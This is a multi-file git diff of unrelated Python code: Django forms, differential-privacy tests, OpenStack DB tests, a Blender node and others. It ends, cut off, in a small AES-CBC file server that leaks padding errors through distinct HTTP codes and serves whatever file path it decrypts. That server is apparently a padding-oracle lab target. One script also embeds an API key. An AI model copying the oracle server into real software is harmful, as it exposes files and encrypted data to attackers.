'dni_sis_no_comments', + 'antecedents', + 'family_situation', + 'general_comments', + 'visitors_allowed', + 'visitors_allowed_no_comments', + 'diagnosis', + 'recommendation', + 'priority' + ) + + labels = { + 'date': "Fecha", + 'has_birth_certificate': "Partida de Nacimiento", + 'original_birth_certificate': "Original", + 'dni': "DNI", + 'dni_in_process': "En El Proceso", + 'sis': "SIS", + 'sis_in_process': "En El Proceso", + 'dni_sis_no_comments': "Comentarios", + 'antecedents': "Antecedentes", + 'family_situation': "Situación Familiar", + 'general_comments': "Apreciaciones Generales del Niño", + 'visitors_allowed': "Recibe Visitas", + 'visitors_allowed_no_comments': "Comentarios", + 'diagnosis': "Diagnostico Social", + 'recommendation': "Recomendaciones", + 'priority': 'Prioridad', + } + + # Boolean fields represented with checkbox widgets in form. + widgets = { + 'has_birth_certificate': CheckboxInput(), + 'original_birth_certificate': CheckboxInput(), + 'dni': CheckboxInput(), + 'dni_in_process': CheckboxInput(), + 'sis': CheckboxInput(), + 'sis_in_process': CheckboxInput(), + 'visitors_allowed': CheckboxInput(), + 'date': DateInput(attrs={'placeholder': 'DD/MM/AAAA', 'format': 'DD/MM/AAAA'}), + } + + # Override __init__ so 'request' can be accessed in the clean() + # function. + def __init__(self, *args, **kwargs): + self.request = kwargs.pop('request', None) + super(SocialExamForm, self).__init__(*args, **kwargs) + + # Override clean so forms can be saved without validating (so data + # isn't lost if the form can't be completed), but still raises + # exceptions when form is done incorrectly. + def clean(self): + msg = "Este campo es obligatorio." + cleaned_data = super(SocialExamForm, self).clean() + + if (self.request.POST): + + # On validation ('submit' in request), checks if signature + # forms fields are filled out and raises exceptions on any + # fields left blank. + if ('submit' in self.request.POST): + + antecedents = cleaned_data.get('antecedents') + if (antecedents == ''): + self.add_error('antecedents', msg) + + family_situation = cleaned_data.get('family_situation') + if (family_situation == ''): + self.add_error('family_situation', msg) + + general_comments = cleaned_data.get('general_comments') + if (general_comments == ''): + self.add_error('general_comments', msg) + + diagnosis = cleaned_data.get('diagnosis') + if (diagnosis == ''): + self.add_error('diagnosis', msg) + + recommendation = cleaned_data.get('recommendation') + if (recommendation == ''): + self.add_error('recommendation', msg) + + # If the child does not have an Identity Card (DNI) or + # public health insurance (SIS), there must be an + # explanation, and child must be automatically high + # priority. + dni = cleaned_data.get('dni') + sis = cleaned_data.get('sis') + sis_in_process = cleaned_data.get('sis_in_process') + dni_sis_no_comments = cleaned_data.get('dni_sis_no_comments') + priority = cleaned_data.get('priority') + if (not dni and not sis_in_process and dni_sis_no_comments + == ''): + self.add_error('dni_sis_no_comments', msg) + if (not dni and not sis and priority is not 1): + self.add_error('priority', + 'Sin un DNI o SIS , niño debe ser ' + 'etiquetado de alta prioridad.') + + # If the child is not allowed visiters, there must be + # an explanation. + visitors_allowed = cleaned_data.get('visitors_allowed') + visitors_allowed_no_comments = cleaned_data.get( + 'visitors_allowed_no_comments') + if (not visitors_allowed and visitors_allowed_no_comments + == ''): + self.add_error('visitors_allowed_no_comments', msg) diff --git a/pool/shard008/Python/0075326_test_StandardScaler.py b/pool/shard008/Python/0075326_test_StandardScaler.py new file mode 100644 index 0000000000000000000000000000000000000000..72c473ec2e963b80acf0e90171db89d1be2fe4ac --- /dev/null +++ b/pool/shard008/Python/0075326_test_StandardScaler.py @@ -0,0 +1,124 @@ +from unittest import TestCase + +import numpy as np +import sklearn.preprocessing as sk_pp + +from diffprivlib.models.standard_scaler import StandardScaler +from diffprivlib.utils import PrivacyLeakWarning, DiffprivlibCompatibilityWarning, global_seed, BudgetError + + +class TestStandardScaler(TestCase): + def test_class(self): + from sklearn.base import BaseEstimator + self.assertTrue(issubclass(StandardScaler, BaseEstimator)) + + def test_not_none(self): + ss = StandardScaler() + self.assertIsNotNone(ss) + + def test_no_range(self): + X = np.random.rand(10, 5) + ss = StandardScaler() + + with self.assertWarns(PrivacyLeakWarning): + ss.fit(X) + + def test_do_nothing(self): + X = np.random.rand(10, 5) + + dp_ss = StandardScaler(bounds=(0, 1), epsilon=1, with_std=False, with_mean=False) + dp_ss.fit(X) + + self.assertIsNotNone(dp_ss) + + def test_refit(self): + X = np.random.rand(10, 5) + + dp_ss = StandardScaler(bounds=(0, 1), epsilon=1) + dp_ss.fit(X) + dp_ss.partial_fit(X) + self.assertIsNotNone(dp_ss) + + def test_sample_weights(self): + X = np.random.rand(10, 5) + + dp_ss = StandardScaler(bounds=(0, 1), epsilon=1) + + try: + self.assertWarns(DiffprivlibCompatibilityWarning, dp_ss.fit, X, sample_weight=1) + except TypeError: + pass + + def test_inf_epsilon(self): + X = np.random.rand(10, 5) + + dp_ss = StandardScaler(bounds=(0, 1), epsilon=float("inf")) + dp_ss.fit(X) + + sk_ss = sk_pp.StandardScaler() + sk_ss.fit(X) + + self.assertTrue(np.allclose(dp_ss.mean_, sk_ss.mean_), "Arrays %s and %s should be the same" % + (dp_ss.mean_, sk_ss.mean_)) + self.assertTrue(np.allclose(dp_ss.var_, sk_ss.var_), "Arrays %s and %s should be the same" % + (dp_ss.var_, sk_ss.var_)) + self.assertTrue(np.all(dp_ss.n_samples_seen_ == sk_ss.n_samples_seen_)) + + def test_different_results(self): + X = np.random.rand(10, 5) + + ss1 = StandardScaler(bounds=(0, 1)) + ss1.fit(X) + + ss2 = StandardScaler(bounds=(0, 1)) + ss2.fit(X) + + self.assertFalse(np.allclose(ss1.mean_, ss2.mean_), "Arrays %s and %s should be different" % + (ss1.mean_, ss2.mean_)) + self.assertFalse(np.allclose(ss1.var_, ss2.var_), "Arrays %s and %s should be different" % + (ss1.var_, ss2.var_)) + + def test_functionality(self): + X = np.random.rand(10, 5) + ss = StandardScaler(bounds=(0, 1)) + ss.fit(X) + + self.assertIsNotNone(ss.transform(X)) + self.assertIsNotNone(ss.inverse_transform(X)) + self.assertIsNotNone(ss.fit_transform(X)) + + def test_similar_results(self): + global_seed(314159) + + X = np.random.rand(100000, 5) + + dp_ss = StandardScaler(bounds=(0, 1), epsilon=float("inf")) + dp_ss.fit(X) + + sk_ss = sk_pp.StandardScaler() + sk_ss.fit(X) + + self.assertTrue(np.allclose(dp_ss.mean_, sk_ss.mean_, rtol=1, atol=1e-4), "Arrays %s and %s should be close" % + (dp_ss.mean_, sk_ss.mean_)) + self.assertTrue(np.allclose(dp_ss.var_, sk_ss.var_, rtol=1, atol=1e-4), "Arrays %s and %s should be close" % + (dp_ss.var_, sk_ss.var_)) + self.assertTrue(np.all(dp_ss.n_samples_seen_ == sk_ss.n_samples_seen_)) + + def test_accountant(self): + from diffprivlib.accountant import BudgetAccountant + acc = BudgetAccountant() + + X = np.random.rand(10, 5) + ss = StandardScaler(epsilon=1, bounds=(0, 1), accountant=acc) + ss.fit(X) + self.assertEqual((1, 0), acc.total()) + + with BudgetAccountant(1.5, 0) as acc2: + ss = StandardScaler(epsilon=1, bounds=(0, 1)) + ss.fit(X) + self.assertEqual((1, 0), acc2.total()) + + with self.assertRaises(BudgetError): + ss.fit(X) + + self.assertEqual((1, 0), acc.total()) diff --git a/pool/shard008/Python/0075328_classes_objects_2.py b/pool/shard008/Python/0075328_classes_objects_2.py new file mode 100644 index 0000000000000000000000000000000000000000..f0a9103c80467dee0238a5b38109d36381b5eb16 --- /dev/null +++ b/pool/shard008/Python/0075328_classes_objects_2.py @@ -0,0 +1,79 @@ +#! /usr/bin/env python + +class NetworkDevice(object): + def __init__(self, ip, username, password): + self.x = ip + self.y = username + self.z = password + +rtr4 = NetworkDevice('10.1.1.33', 'whoami', 'passypass') +print rtr4.x +print rtr4.y +print rtr4.z + +class SomeClass(object): + def __init__(self, x, y): + self.x = x + self.y = y + def a_sum(self): + return self.x + self.y + def a_product(self): + return self.x * self.y + +a = SomeClass(4,12) +print a.x +print a.y + +print "print a.a_sum()" +print a.a_sum() + +print "print a.a_product()" +print a.a_product() + + +# The class xxxx(yyyy) portion puts the class into memory. The next thing it does is look for the __init__ method. It will first look in the current class +# which is xxxx and if it cannot find it there, it will look in the base class which is yyyy +class NewClass(SomeClass): + pass + +b = NewClass(8,9) +print b.x +print b.y +print b.a_sum() +print b.a_product() + +#Purposefully skipped over self.y = y. Now we have overwritten y in the NewClass class and thus removed lookup into the base class SomeClass. +#This will error out as y is undefined. +class NewClass(SomeClass): + def __init__(self, x, y, z): + self.x = x + self.z = z + +b = NewClass(8,9,10) + + +class NewClass(SomeClass): + def __init__(self, x, y, z): + self.z = z + SomeClass.__init__(self, x, y) + +b = NewClass(88,99,111) +print b.x +print b.y +print b.z +print b.a_sum() +print b.a_product() + +class NewClass(SomeClass): + def __init__(self, x, y, z): + self.z = z + SomeClass.__init__(self, x, y) + def a_sum(self): + return self.x + self.y + self.z + +b = NewClass(3,5,7) +print b.x +print b.y +print b.z +print b.a_sum() + diff --git a/pool/shard008/Python/0075329_sai_base_test.py b/pool/shard008/Python/0075329_sai_base_test.py new file mode 100644 index 0000000000000000000000000000000000000000..374a11626acc87a3f312b5fa60f62254ecbeb153 --- /dev/null +++ b/pool/shard008/Python/0075329_sai_base_test.py @@ -0,0 +1,64 @@ +""" +Base classes for test cases + +Tests will usually inherit from one of these classes to have the controller +and/or dataplane automatically set up. +""" + +import os +import logging +import unittest + + +import ptf +from ptf.base_tests import BaseTest +from ptf import config +import ptf.dataplane as dataplane + +################################################################ +# +# Thrift interface base tests +# +################################################################ + +import switch_sai_thrift.switch_sai_rpc as switch_sai_rpc +from thrift.transport import TSocket +from thrift.transport import TTransport +from thrift.protocol import TBinaryProtocol + + +class ThriftInterface(BaseTest): + + def setUp(self): + BaseTest.setUp(self) + + # Set up thrift client and contact server + self.transport = TSocket.TSocket('localhost', 9092) + self.transport = TTransport.TBufferedTransport(self.transport) + self.protocol = TBinaryProtocol.TBinaryProtocol(self.transport) + + self.client = switch_sai_rpc.Client(self.protocol) + self.transport.open() + + def tearDown(self): + if config["log_dir"] != None: + self.dataplane.stop_pcap() + BaseTest.tearDown(self) + self.transport.close() + +class ThriftInterfaceDataPlane(ThriftInterface): + """ + Root class that sets up the thrift interface and dataplane + """ + def setUp(self): + ThriftInterface.setUp(self) + self.dataplane = ptf.dataplane_instance + self.dataplane.flush() + if config["log_dir"] != None: + filename = os.path.join(config["log_dir"], str(self)) + ".pcap" + self.dataplane.start_pcap(filename) + + def tearDown(self): + if config["log_dir"] != None: + self.dataplane.stop_pcap() + ThriftInterface.tearDown(self) diff --git a/pool/shard008/Python/0075331_validate.py b/pool/shard008/Python/0075331_validate.py new file mode 100644 index 0000000000000000000000000000000000000000..5dd786094221b2618b107fbe6bbde8b6d54df34c --- /dev/null +++ b/pool/shard008/Python/0075331_validate.py @@ -0,0 +1,167 @@ +# +# (C) Copyright 2004,2005 Hewlett-Packard Development Company, L.P. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this program; if not, write to the Free Software +# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. +# +# Author: Tim Potter +# + +""" +Utility function for validation of XML strings against the CIM-XML DTD. + +The CIM-XML DTD is defined in DSP0201 as a text standard that shows the DTD +in the text. DSP0203 is the complete DTD, but is provided only for convenience. +In case of differences, DSP0201 overrules DSP0203. + +Note: The CIM_DTD_V22.dtd file used for DTD checking by pywbem for some time + is a preliminary version that contained a few elements that were never + released as a DMTF standard: + TABLE, TABLEROW, TABLEROW.DECLARATION, TABLECELL.DECLARATION, + TABLECELL.REFERENCE, RESPONSEDESTINATION. + +Note: Changes in DSP0203 2.3.1, compared to 2.2.0 (final): + - SIMPLERSP: Removed child SIMPLEREQACK, to fix a an incompletely removed + left-over from the preliminary version of 2.2. + - RETURNVALUE: Made its child elements optional, in support of void + CIM methods. + - IMETHODRESPONSE: Added PARAMVALUE*, in support of pull operations. Note + this was inconsistent and IPARAMVALUE should have been used. + - PARAMVALUE: Added choices for children CLASSNAME, CLASS, INSTANCE, + VALUE.NAMEDINSTANCE, in support of pull operations (became necessary + as a result of using PARAMVALUE in IMETHODRESPONSE). + - ENUMERATIONCONTEXT: Added this element in support of pull operations. + +Note: Changes in DSP0203 2.4.0, compared to 2.3.1: + - KEYVALUE: Its TYPE attribute is now required. (incompatible!) + - SIMPLEREQ: Added optional CORRELATOR* children, in support of operation + correlation. + - CORRELATOR: Added this element in support of operation correlation. + - PARAMVALUE: Added choice for children INSTANCENAME* in support of + pull operations (became necessary as a result of using PARAMVALUE in + IMETHODRESPONSE). + - IRETURNVALUE: Added choice for children VALUE.INSTANCEWITHPATH* in + support of pull operations. + - ENUMERATIONCONTEXT: Removed this element again, because representation + of enumeration context value in pull operations was changed to string + in DSP0200. + - EXPPARAMVALUE: Removed incorrect children VALUE, METHODRESPONSE, + IMETHODRESPONSE, because they were not needed. +""" + +from __future__ import print_function, absolute_import + +import os +import os.path +import re +from subprocess import Popen, PIPE, STDOUT + +from pywbem._utils import _ensure_bytes, _ensure_unicode + +# CIM-XML DTD file to validate against +DTD_FILE = os.path.join('tests', 'dtd', 'DSP0203_2.3.1.dtd') + +# TODO: The DTD 2.4.0 requires the TYPE attribute on the KEYVALUE elements, +# and this causes some tests in test_cim_xml.py to fail. Fix them. + + +class CIMXMLValidationError(Exception): + """ + Exception indicating a CIM-XML validation error. + """ + pass + + +def validate_cim_xml(cim_xml_str, root_elem_name=None): + """ + Validate a CIM-XML string against the CIM-XML DTD, optionally + requiring a particular XML root element. + + If the validation succeeds, the function returns. Otherwise, + `CIMXMLValidationError` is raised and its exception message is the + (possible multi-line) output of the `xmllint` command. + + Parameters: + + cim_xml_str (string): CIM-XML string to be validated. + + root_elem_name (string): Name of XML element that is expected as the root + element in the CIM-XML string to be validated. + `None` means no checking for a particular root element is performed. + + Raises: + + CIMXMLValidationError: CIM-XML validation error + """ + + # The DOCTYPE instruction needs the DTD file with forward slashes. + # Also, the xmllint used on Windows requires forward slashes and complains + # with "Could not parse DTD tests\dtd\DSP0203_2.3.1.dtd" if invoked + # with backslashes. + dtd_file_fw = DTD_FILE.replace('\\', '/') + + # Make sure the validator checks the specified root element, if any + if root_elem_name is not None: + cim_xml_str = u'\n{2}'. \ + format(root_elem_name, dtd_file_fw, cim_xml_str) + xmllint_cmd = 'xmllint --valid --noout -' + else: + xmllint_cmd = 'xmllint --dtdvalid {0} --noout -'.format(dtd_file_fw) + + p = Popen(xmllint_cmd, stdout=PIPE, stderr=STDOUT, stdin=PIPE, shell=True) + + cim_xml_str = _ensure_bytes(cim_xml_str) + p.stdin.write(cim_xml_str) + p.stdin.close() + + status = p.wait() + if status != 0: + out_lines = p.stdout.readlines() + output = _ensure_unicode(b'\n'.join(out_lines)) + raise CIMXMLValidationError(output) + + +def validate_cim_xml_obj(obj, obj_xml_str, exp_xml_str): + """ + Validate a CIM-XML string of a CIM object against an expected CIM-XML + string and against the CIM-XML DTD. + + Parameters: + + obj (CIM object): The CIM object that belongs to the CIM-XML string, + just for reporting purposes. + + obj_xml_str (string): The CIM-XML string to be validated. + + exp_xml_str (string): The expected CIM-XML string. + """ + + assert obj_xml_str == exp_xml_str + + m = re.match(r'^<([^ >]+)', exp_xml_str) + assert m is not None, \ + "Testcase issue: Cannot determine root element from expected " \ + "CIM-XML string:\n{0}".format(exp_xml_str) + root_elem_name = m.group(1) + + try: + validate_cim_xml(obj_xml_str, root_elem_name) + except CIMXMLValidationError as exc: + raise AssertionError( + "DTD validation of CIM-XML for {0} object failed:\n" + "{1}\n" + "Required XML root element: {2}\n" + "CIM-XML string:\n" + "{3}". + format(type(obj), exc, root_elem_name, obj_xml_str)) diff --git a/pool/shard008/Python/0075334_create_route_defs_csv.py b/pool/shard008/Python/0075334_create_route_defs_csv.py new file mode 100644 index 0000000000000000000000000000000000000000..437d0b87579b116f1346a0b7e8fd4a7620453b98 --- /dev/null +++ b/pool/shard008/Python/0075334_create_route_defs_csv.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python2 + +import os +from optparse import OptionParser +import sys +import operator + +import osgeo.ogr +from osgeo import ogr + +import route_segs +import topology_shapefile_data_model as tp_model +import mode_timetable_info as m_t_info + +def process_all_routes_from_segments(segments_shp_fname, output_fname, + mode_config): + if not os.path.exists(segments_shp_fname): + print "Error, route segments shape file given, %s , doesn't exist." \ + % segments_shp_fname + sys.exit(1) + segs_shp_file = osgeo.ogr.Open(segments_shp_fname) + if segs_shp_file is None: + print "Error, route segments shape file given, %s , failed to open." \ + % (input_segments_fname) + sys.exit(1) + + segs_lyr = segs_shp_file.GetLayer(0) + all_segs_by_route = route_segs.get_routes_and_segments(segs_lyr) + segs_shp_file.Destroy() + print "(Read from segs file a total of %d routes.)" \ + % len(all_segs_by_route) + + r_ids_ordered = sorted(all_segs_by_route.keys()) + route_segs_ordered = route_segs.order_all_route_segments( + all_segs_by_route, r_ids_ordered) + route_dirs = route_segs.create_basic_route_dir_names( + route_segs_ordered, mode_config) + route_defs = route_segs.create_route_defs_list_from_route_segs( + route_segs_ordered, route_dirs, mode_config, r_ids_ordered) + route_segs.write_route_defs(output_fname, route_defs) + return + +if __name__ == "__main__": + allowedServs = ', '.join(sorted(["'%s'" % key for key in \ + m_t_info.settings.keys()])) + parser = OptionParser() + parser.add_option('--segments', dest='segments', + help='Shape file containing network segments, which list routes in ' + 'each segment.') + parser.add_option('--output_csv', dest='output_csv', + help='Output file name you want to store CSV of route segments in'\ + ' (suggest should end in .csv)') + parser.add_option('--service', dest='service', + help="Should be one of %s" % allowedServs) + parser.set_defaults(output_csv='route_defs.csv') + (options, args) = parser.parse_args() + + if options.segments is None: + parser.print_help() + parser.error("No input shape file path containing route segs given.") + if options.service is None: + parser.print_help() + parser.error("No service option requested. Should be one of %s" \ + % (allowedServs)) + if options.service not in m_t_info.settings: + parser.print_help() + parser.error("Service option requested '%s' not in allowed set, of %s" \ + % (options.service, allowedServs)) + + mode_config = m_t_info.settings[options.service] + + process_all_routes_from_segments(options.segments, options.output_csv, + mode_config) diff --git a/pool/shard008/Python/0075336_test_node.py b/pool/shard008/Python/0075336_test_node.py new file mode 100644 index 0000000000000000000000000000000000000000..77df9a1a0de56136ef28e40179aec487dff7cae4 --- /dev/null +++ b/pool/shard008/Python/0075336_test_node.py @@ -0,0 +1,175 @@ +# Copyright 2015 OpenStack Foundation +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +"""Tests for manipulating Nodes via the DB API""" + +import six + +from magnum.common import exception +from magnum.common import utils as magnum_utils +from magnum.tests.unit.db import base +from magnum.tests.unit.db import utils + + +class DbNodeTestCase(base.DbTestCase): + + def test_create_node(self): + utils.create_test_node() + + def test_create_node_already_exists(self): + utils.create_test_node() + self.assertRaises(exception.NodeAlreadyExists, + utils.create_test_node) + + def test_create_node_instance_already_associated(self): + instance_uuid = magnum_utils.generate_uuid() + utils.create_test_node(uuid=magnum_utils.generate_uuid(), + ironic_node_id=instance_uuid) + self.assertRaises(exception.InstanceAssociated, + utils.create_test_node, + uuid=magnum_utils.generate_uuid(), + ironic_node_id=instance_uuid) + + def test_get_node_by_id(self): + node = utils.create_test_node() + res = self.dbapi.get_node_by_id(self.context, node.id) + self.assertEqual(node.id, res.id) + self.assertEqual(node.uuid, res.uuid) + + def test_get_node_by_uuid(self): + node = utils.create_test_node() + res = self.dbapi.get_node_by_uuid(self.context, node.uuid) + self.assertEqual(node.id, res.id) + self.assertEqual(node.uuid, res.uuid) + + def test_get_node_that_does_not_exist(self): + self.assertRaises(exception.NodeNotFound, + self.dbapi.get_node_by_id, self.context, 99) + self.assertRaises(exception.NodeNotFound, + self.dbapi.get_node_by_uuid, + self.context, + magnum_utils.generate_uuid()) + + def test_get_node_list(self): + uuids = [] + for i in range(1, 6): + node = utils.create_test_node(uuid=magnum_utils.generate_uuid()) + uuids.append(six.text_type(node['uuid'])) + res = self.dbapi.get_node_list(self.context) + res_uuids = [r.uuid for r in res] + self.assertEqual(sorted(uuids), sorted(res_uuids)) + + def test_get_node_list_sorted(self): + uuids = [] + for _ in range(5): + node = utils.create_test_node(uuid=magnum_utils.generate_uuid()) + uuids.append(six.text_type(node.uuid)) + res = self.dbapi.get_node_list(self.context, sort_key='uuid') + res_uuids = [r.uuid for r in res] + self.assertEqual(sorted(uuids), res_uuids) + + self.assertRaises(exception.InvalidParameterValue, + self.dbapi.get_node_list, + self.context, + sort_key='foo') + + def test_get_node_list_with_filters(self): + node1 = utils.create_test_node( + type='virt', + ironic_node_id=magnum_utils.generate_uuid(), + uuid=magnum_utils.generate_uuid()) + node2 = utils.create_test_node( + type='bare', + uuid=magnum_utils.generate_uuid()) + + res = self.dbapi.get_node_list(self.context, filters={'type': 'virt'}) + self.assertEqual([node1.id], [r.id for r in res]) + + res = self.dbapi.get_node_list(self.context, + filters={'type': 'bad-type'}) + self.assertEqual([], [r.id for r in res]) + + res = self.dbapi.get_node_list(self.context, + filters={'associated': True}) + self.assertEqual([node1.id], [r.id for r in res]) + + res = self.dbapi.get_node_list(self.context, + filters={'associated': False}) + self.assertEqual([node2.id], [r.id for r in res]) + + def test_destroy_node(self): + node = utils.create_test_node() + self.dbapi.destroy_node(node.id) + self.assertRaises(exception.NodeNotFound, + self.dbapi.get_node_by_id, self.context, node.id) + + def test_destroy_node_by_uuid(self): + node = utils.create_test_node() + self.dbapi.destroy_node(node.uuid) + self.assertRaises(exception.NodeNotFound, + self.dbapi.get_node_by_uuid, + self.context, node.uuid) + + def test_destroy_node_that_does_not_exist(self): + self.assertRaises(exception.NodeNotFound, + self.dbapi.destroy_node, + magnum_utils.generate_uuid()) + + def test_update_node(self): + node = utils.create_test_node() + old_image = node.image_id + new_image = 'new-image' + self.assertNotEqual(old_image, new_image) + + res = self.dbapi.update_node(node.id, {'image_id': new_image}) + self.assertEqual(new_image, res.image_id) + + def test_update_node_not_found(self): + node_uuid = magnum_utils.generate_uuid() + new_image = 'new-image' + self.assertRaises(exception.NodeNotFound, self.dbapi.update_node, + node_uuid, {'image_id': new_image}) + + def test_update_node_uuid(self): + node = utils.create_test_node() + self.assertRaises(exception.InvalidParameterValue, + self.dbapi.update_node, node.id, + {'uuid': ''}) + + def test_update_node_associate_and_disassociate(self): + node = utils.create_test_node() + new_i_uuid = magnum_utils.generate_uuid() + res = self.dbapi.update_node(node.id, {'ironic_node_id': new_i_uuid}) + self.assertEqual(new_i_uuid, res.ironic_node_id) + res = self.dbapi.update_node(node.id, {'ironic_node_id': None}) + self.assertIsNone(res.ironic_node_id) + + def test_update_node_already_associated(self): + node = utils.create_test_node() + new_i_uuid_one = magnum_utils.generate_uuid() + self.dbapi.update_node(node.id, {'ironic_node_id': new_i_uuid_one}) + new_i_uuid_two = magnum_utils.generate_uuid() + self.assertRaises(exception.NodeAssociated, + self.dbapi.update_node, node.id, + {'ironic_node_id': new_i_uuid_two}) + + def test_update_node_instance_already_associated(self): + node1 = utils.create_test_node(uuid=magnum_utils.generate_uuid()) + new_i_uuid = magnum_utils.generate_uuid() + self.dbapi.update_node(node1.id, {'ironic_node_id': new_i_uuid}) + node2 = utils.create_test_node(uuid=magnum_utils.generate_uuid()) + self.assertRaises(exception.InstanceAssociated, + self.dbapi.update_node, node2.id, + {'ironic_node_id': new_i_uuid}) diff --git a/pool/shard008/Python/0075340_axis_input.py b/pool/shard008/Python/0075340_axis_input.py new file mode 100644 index 0000000000000000000000000000000000000000..ffde8a44b9851de0d7322dd9e3e55e1686bb2217 --- /dev/null +++ b/pool/shard008/Python/0075340_axis_input.py @@ -0,0 +1,89 @@ +# ##### BEGIN GPL LICENSE BLOCK ##### +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software Foundation, +# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +# +# ##### END GPL LICENSE BLOCK ##### + +import bpy +from bpy.props import StringProperty, EnumProperty + +from sverchok.node_tree import SverchCustomTreeNode +from sverchok.data_structure import updateNode + + +class svAxisInputNode(bpy.types.Node, SverchCustomTreeNode): + ''' Generator for X, Y or Z axis. + + This gives convenience in node view to make clear even in a minimized + state which Vector-axis the node outputs. Especially useful for rotation input. + + outputs the vectors: + X: [1,0,0] + Y: [0,1,0] + Z: [0,0,1] + ''' + + bl_idname = 'svAxisInputNode' + bl_label = 'Vector X | Y | Z' # shall default to Z Axis in svint. + bl_icon = 'MANIPUL' + + def mode_change(self, context): + if not (self.selected_axis == self.current_axis): + self.label = self.selected_axis + self.current_axis = self.selected_axis + updateNode(self, context) + + axis_options = [ + ("X", "X", "", 0), + ("Y", "Y", "", 1), + ("Z", "Z", "", 2) + ] + current_axis = StringProperty(default='Z') + + selected_axis = EnumProperty( + items=axis_options, + name="Type of axis", + description="offers basic axis output vectors X|Y|Z", + default="Z", + update=mode_change) + + def sv_init(self, context): + self.width = 100 + self.outputs.new('VerticesSocket', "Vectors", "Vectors") + self.bl_label = 'Z' + + def draw_buttons(self, context, layout): + row = layout.row() + row.prop(self, 'selected_axis', expand=True) + + def process(self): + + if self.outputs['Vectors'].is_linked: + + axial_vector = { + 'X': (1, 0, 0), + 'Y': (0, 1, 0), + 'Z': (0, 0, 1) + }.get(self.current_axis, None) + + self.outputs[0].sv_set([[axial_vector]]) + + +def register(): + bpy.utils.register_class(svAxisInputNode) + + +def unregister(): + bpy.utils.unregister_class(svAxisInputNode) diff --git a/pool/shard008/Python/0075343_getquery.py b/pool/shard008/Python/0075343_getquery.py new file mode 100644 index 0000000000000000000000000000000000000000..2d9c5ce12e1f0f3d1c92715aa483fcb2ab822046 --- /dev/null +++ b/pool/shard008/Python/0075343_getquery.py @@ -0,0 +1,26 @@ +import json, urllib +import random + +def offset(): + return random.randint(0, 10) + +def getindex(maxindex): + return random.randint(0, maxindex) + +def thechosenone(results): + length = len(results) + while True: + index = getindex(length - 1) + result = results[index] + if result['medium'] == 'SCULPTURE' or result['medium'] == 'MURAL': + return result + +def getsearchquery(): + url = 'http://api.namara.io/v0/data_sets/51b6af69-fcd9-4517-ac6b-39e89310c1eb/data/en-1?api_key=a4a9c51c599083326fc49989d6b8b0ce8f107183525404677898a5c851f70989&offset=' + str(offset()) + print url + search_response = urllib.urlopen(url) + search_results = search_response.read() + results = json.loads(search_results) + + chosen = thechosenone(results) + return dict({ 'title': chosen['title'], 'artist': chosen['artist_name'] }) diff --git a/pool/shard008/Python/0075345_Server.py b/pool/shard008/Python/0075345_Server.py new file mode 100644 index 0000000000000000000000000000000000000000..4536fe46f19d2fc67c5b33f8830a1e5f6a612fd6 --- /dev/null +++ b/pool/shard008/Python/0075345_Server.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 + +from http.server import BaseHTTPRequestHandler, HTTPServer +import os.path +import time +import re +from binascii import hexlify + +import urllib.parse +import base64 +from Crypto.Cipher import AES +from Crypto import Random + + +hostName = "localhost" +hostPort = 9000 + +decryptionKey = b'abcdefghijklmnop' +#IV = b'ponmlkjihgfedcba' + +class PaddedError(Exception): + pass + +class EncryptionServer(BaseHTTPRequestHandler): + def do_GET(self): + # prepare ciphertext + try: + # parse url, get urlencoded id + m = re.match("/d=([a-zA-Z0-9%]*)&iv=([a-zA-Z0-9%]*)", self.path) + quoted_id, quoted_IV = m.groups()[0], m.groups()[1] + + # decode resource identifier + ciphertext = base64.b64decode(urllib.parse.unquote_plus(quoted_id)) + # decode IV + IV = base64.b64decode(urllib.parse.unquote_plus(quoted_IV)) + except Exception as e: + # 404 error + #self.log_message(str(e)) + self._return_404() + return + + # decrypt & unpad + try: + cipher = AES.new(decryptionKey, AES.MODE_CBC, IV) + plaintext = cipher.decrypt(ciphertext) + padded_bytes = plaintext[-1] + #self.log_message(str(hexlify(plaintext),'utf-8')) + if 1 > padded_bytes or padded_bytes > 16: + raise PaddedError() + for i in range(-2, -padded_bytes - 1, -1): + if plaintext[i] != padded_bytes: + raise PaddedError() + + resource = self._unpad(plaintext) + except PaddedError as e: + # 500 error, invalid pad + #self.log_message(str(e)) + self._return_500() + return + + #self.log_message(str(resource, 'utf-8')) + try: + if os.path.isfile(resource): + self._return_successful(resource) + else: + self._return_404() + except: + self._return_404() + + def _return_404(self): + self.send_response(404) + self.send_header("Content-type", "text/html") + self.end_headers() + + self.wfile.write(b"Encryption Server") + self.wfile.write(b"Resource not found") + self.wfile.write(b"") + + def _return_500(self): + self.send_response(500) + self.send_header("Content-type", "text/html") + self.end_headers() + + self.wfile.write(b"Encryption Server") + self.wfile.write(b"Internal error") + self.wfile.write(b"") + + def _return_successful(self, resource): + self.send_response(200) + self.send_header("Content-type", "application/binary") + self.send_header("Content-Disposition", 'attachment;filename="%s"' % + os.path.basename(str(resource, 'utf-8'))) + self.end_headers() + + with open(resource, "rb") as f: + self.wfile.write(f.read()) + + #self.wfile.write(b"Encryption Server") + #self.wfile.write(b"Accessed resource: " + resource) + #self.wfile.write(b"") + + + @staticmethod + def _pad(s): + return s + 